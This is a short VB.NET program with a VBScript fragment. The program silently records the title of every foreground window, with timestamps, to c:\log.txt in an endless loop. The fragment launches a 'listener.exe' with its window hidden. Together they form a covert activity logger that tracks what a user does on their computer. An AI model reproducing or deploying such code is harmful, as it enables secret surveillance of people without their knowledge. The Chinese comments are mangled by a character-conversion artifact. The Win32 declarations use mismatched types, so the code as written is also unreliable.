Imports System
Imports System.io
Module Module1
 private Declare Sub Sleep Lib "kernel32" Alias "Sleep" (ByVal dwMilliseconds As Long)
 'Win32 Api
 Private Declare Function GetForegroundWindow Lib "user32" () As Long
 Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
 
 Sub Main()
	 
  Dim bt As Boolean = True
	 ' 保存標(biāo)題文本
  Dim stext As String
	 ' 保存上一個(gè)窗口句柄
	 Dim hwnd As Long
	 ' 保存當(dāng)前窗口句柄
	 Dim curHwnd As Long
	 ' 書(shū)寫(xiě)流寫(xiě)入日志文件
	 Dim sw As StreamWriter
	 ' 日志文件保存路徑
	 Dim path As String = "c:\log.txt"
	 
	 ' 如果存在日志文件則跳過(guò)，否則創(chuàng)建一個(gè)日志文件
	 If Not File.Exists(path) Then
		 File.Create(path)
	 End If
	 
	 sleep(3000)
	 
	 ' 這里是個(gè)死循環(huán) 
	 While bt
	 
	  stext = Space(255)
		 ' 獲取當(dāng)前窗口句柄
		 hwnd = GetForegroundWindow
		 
		 ' 如果當(dāng)前是新窗口則寫(xiě)入新窗口標(biāo)題
		 If hwnd <> curHwnd Then 
		  curHwnd = hwnd
				' 獲取窗口標(biāo)題
				GetWindowText(hwnd,stext,255)
				
				sw = System.IO.File.AppendText(path)
				
				' 寫(xiě)入新窗口標(biāo)題,格式 yyyy年mm月dd日 hh:hh:ss + 標(biāo)題
				Using sw
					sw.WriteLine(String.Format("{0:F}", DateTime.Now) +" "+ stext) 
					sw.Flush() 
				End Using
				
		
		 End If
sleep(2000)
		 
  End While
	 
 End Sub
End Module

Dim ws 
set ws = WScript.createObject("WScript.shell") 
ws.Run "C:\listener.exe", 0, TRUE